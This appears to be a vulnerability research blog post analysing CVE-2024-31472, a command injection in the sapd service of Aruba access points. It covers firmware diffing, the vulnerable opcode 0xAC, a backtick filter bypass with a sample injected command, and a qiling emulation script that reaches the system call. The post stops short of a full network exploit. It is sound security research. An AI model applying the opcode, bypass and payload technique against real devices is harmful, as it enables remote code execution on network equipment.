I. Overview

This vulnerability was discovered by Erik De Jong (bugcrowd.com/erikdejong) and published at Aruba Vulnerability Summary

1. Vuln details

Unauthenticated Command Injection Vulnerabilities in the Soft
  AP Daemon Service Accessed by the PAPI Protocol
  (CVE-2024-31472)
  --------------------------------------------------------------
    There are command injection vulnerabilities in the underlying
    Soft AP Daemon service that could lead to unauthenticated
    remote code execution by sending specially crafted packets
    destined to the PAPI (Aruba's Access Point management
    protocol) UDP port (8211). Successful exploitation of these
    vulnerabilities result in the ability to execute arbitrary
    code as a privileged user on the underlying operating system.

    Internal References: ATLWL-448, ATLWL-449
    Severity: Critical
    CVSSv3 Overall Score: 9.8
    CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

    Discovery: These vulnerabilities were discovered and reported
    by Erik De Jong (bugcrowd.com/erikdejong) via HPE Aruba
    Networking's bug bounty program.

    Workaround: Enabling cluster-security via the
    cluster-security command will prevent these vulnerabilities
    from being exploited in InstantOS devices running 8.x or
    6.x code. For ArubaOS 10 devices this is not an option and
    instead access to port UDP/8211 must be blocked from all
    untrusted networks. Please contact HPE Services - Aruba
    Networking TAC for configuration assistance.
Link: https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2024-006.txt

2. Affected version

  - ArubaOS 10.6.x.x:   10.6.0.0 and above
  - ArubaOS 10.5.x.x:   10.5.1.1 and above
  - ArubaOS 10.4.x.x:   10.4.1.1 and above
  - InstantOS 8.12.x.x: 8.12.0.0 and above
  - InstantOS 8.11.x.x: 8.11.2.2 and above
  - InstantOS 8.10.x.x: 8.10.0.11 and above
  - InstantOS 8.6.x:    8.6.0.24 and above

3. Firmware Extract

Download 2 version of firmware:

ArubaInstant_Ursa_8.11.2.1_88699
ArubaInstant_Ursa_8.11.2.2_89329

The vulnerable version is 8.11.2.1

Extract command:

binwalk -e -M <firmware>

The vulnerable file:

cpio-root/aruba/bin/sapd

II. Bindiff

Sort by similarity, because the vuln we are looking for is a command injection, we should check each entry for patches which contains functions like system, execute_xxxx,…

Also, the parameter passed to those functions must be able to be controlled.

The problematic call appear at address ED8A0 in sub_000ED61C, in the patched version, the whole function is removed from the binary.

III. Analysis

This is what that call looks like in IDA

The command variable can be controlled by attacker, go back to the function that call sub_ED61C to understand how to control command value.

Function sub_F6428 has a big switch-case block which process message sent to sapd service base on msg opcode. For each opcode, it call the appropriate function and pass a structure as parameter. This structure can be controlled. sub_ED61C can be accessed by sending opcode value 0xAC.

Note that the same opcode value is not available in the patched firmware version. Maybe HPE decided to remove the problem instead of fixing it.

Enter sub_ED61C, it extract some option value from struct a1

With option v4 = filename, v5 is copied to s. v5 value is supposed to be a filename string, or a path to file. Its value is then go through a loop which insert \ prior to some characters.

Even though most of the dangerous command injection character are filtered out, "`" remain available. Attacker can craft a payload like this to create file /tmp/haha.txt

`touch${IFS}/tmp/haha.txt`

The command that executed in system should be like this

dumpregs > /tmp/`touch${IFS}/tmp/haha.txt`

IV. Emulation using qiling

This blog post won't demonstrate the way to reach the targeted function but instead we will focus on the emulation of the function itself. We will using qiling to run the service and at the start of main function, we set up parameters and change the pc register to our targeted function. Then (hopefully) the program will reach that problematic system call. Even though qiling is not good at handling system, we just have to verify the parameter that passed to it to declare victory!

First we must identify the start and end of emulation, to make it simple, i choose the function call instruction for start address and the next instruction for end address.

Also, it is important to specify the binary and directory that we want to emulate

from qiling import *
from qiling.const import *
import struct

BEGIN_ADDRESS = 0xF706C
END_ADDRESS = 0xF7070
argv = "./cpio-root-2.1/aruba/bin/sapd".split()
rootfs = "./cpio-root-2.1"

We want to execute the function immediately by setting hook at the start of the program.

def startHook(ql):
    ql.arch.regs.write("r0", BEGIN_ADDRESS)

if __name__ == "__main__":
    ql = Qiling(argv, rootfs, multithread=True, verbose=QL_VERBOSE.DEBUG)
    ql.hook_address(startHook, 0x10A38)

sub_ED61C requires 1 parameter, it is actually a struct that contains many informations. However, we only focus on data at offset 396

This function will craft a valid object that makes v4 hold filename and v5 become our command payload

def setUpReg(ql):
    buf_a1 = ql.mem.map_anywhere(0x1000)
    addr = ql.mem.map_anywhere(0x1000)

    struct_a1 = b"\x00" * 128 + b"\xac"
    struct_a1 += b"\x00" * (396 - len(struct_a1))
    struct_a1 += struct.pack('<I', addr + 0x200)
    struct_a1 += b"\x00" * (0x200 - len(struct_a1))
    struct_a1 += struct.pack('<I', addr + 0x300)
    struct_a1 += b"\x00" * (0x300 - len(struct_a1))
    struct_a1 += struct.pack('<I', addr + 0x400)
    struct_a1 += b"\x00" * (0x400 - len(struct_a1))
    struct_a1 += struct.pack('<I', addr + 0x500)
    struct_a1 += struct.pack('<I', addr + 0x600)
    struct_a1 += b"\x00" * (0x500 - len(struct_a1))
    struct_a1 += b"filename" + b"\x00"
    struct_a1 += b"\x00" * (0x600 - len(struct_a1))
    struct_a1 += b"`touch${IFS}/tmp/haha.txt`"

    ql.mem.write(addr, struct_a1)
    ql.arch.regs.write("r0", addr)

During the emulation progress, there will be some function that the emulate environment not satisfy then crash the program. When we encounter these problem, it is better to hook or patch the process than actually fix it - which is time consuming. However, keep in mind that the hook should not interfere with the logic too much that will change the code flow directly.

For example, in sub_ED61C there is a call to check if a specific binary is available for use

Checks like this can be hooked to make it always return our desired value.

Here is the full script:

from qiling import *
from qiling.const import *
import struct

BEGIN_ADDRESS = 0xF706C
END_ADDRESS = 0xF7070
argv = "./cpio-root-2.1/aruba/bin/sapd".split()
rootfs = "./cpio-root-2.1"

def setUpReg(ql):
    buf_a1 = ql.mem.map_anywhere(0x1000)
    addr = ql.mem.map_anywhere(0x1000)

    struct_a1 = b"\x00" * 128 + b"\xac"
    struct_a1 += b"\x00" * (396 - len(struct_a1))
    struct_a1 += struct.pack('<I', addr + 0x200)
    struct_a1 += b"\x00" * (0x200 - len(struct_a1))
    struct_a1 += struct.pack('<I', addr + 0x300)
    struct_a1 += b"\x00" * (0x300 - len(struct_a1))
    struct_a1 += struct.pack('<I', addr + 0x400)
    struct_a1 += b"\x00" * (0x400 - len(struct_a1))
    struct_a1 += struct.pack('<I', addr + 0x500)
    struct_a1 += struct.pack('<I', addr + 0x600)
    struct_a1 += b"\x00" * (0x500 - len(struct_a1))
    struct_a1 += b"filename" + b"\x00"
    struct_a1 += b"\x00" * (0x600 - len(struct_a1))
    struct_a1 += b"`touch${IFS}/tmp/haha.txt`"



    ql.mem.write(addr, struct_a1)
    ql.arch.regs.write("r0", addr)

def hook1(ql):
    ql.arch.regs.write("r0", 0)

def startHook(ql):
    ql.arch.regs.write("r0", BEGIN_ADDRESS)



if __name__ == "__main__":
    ql = Qiling(argv, rootfs, multithread=True, verbose=QL_VERBOSE.DEBUG)
    ql.hook_address(startHook, 0x10A38) 

    ql.hook_address(setUpReg, BEGIN_ADDRESS) 
    ql.hook_address(hook1, 0xED824) 
    ql.debugger = True

    ql.run(end=END_ADDRESS)

Run that script, open up gdb-multiarch, set breakpoint at 0xED8A0 and then target remote :9999. After continuing the debugger, we reach the system call

Success! We can later verify this by creating a simple C program that call system with the exact parameter. It should works. The script above serve only as the demonstration of the vulnerability. The full POC to actually attack real device is not included in this blog post and left as an exercise for readers. It requires a deeper analysis of how services communicate with each other using Amapi packet.

Analysis of Aruba CVE-2024-31472

Table of contents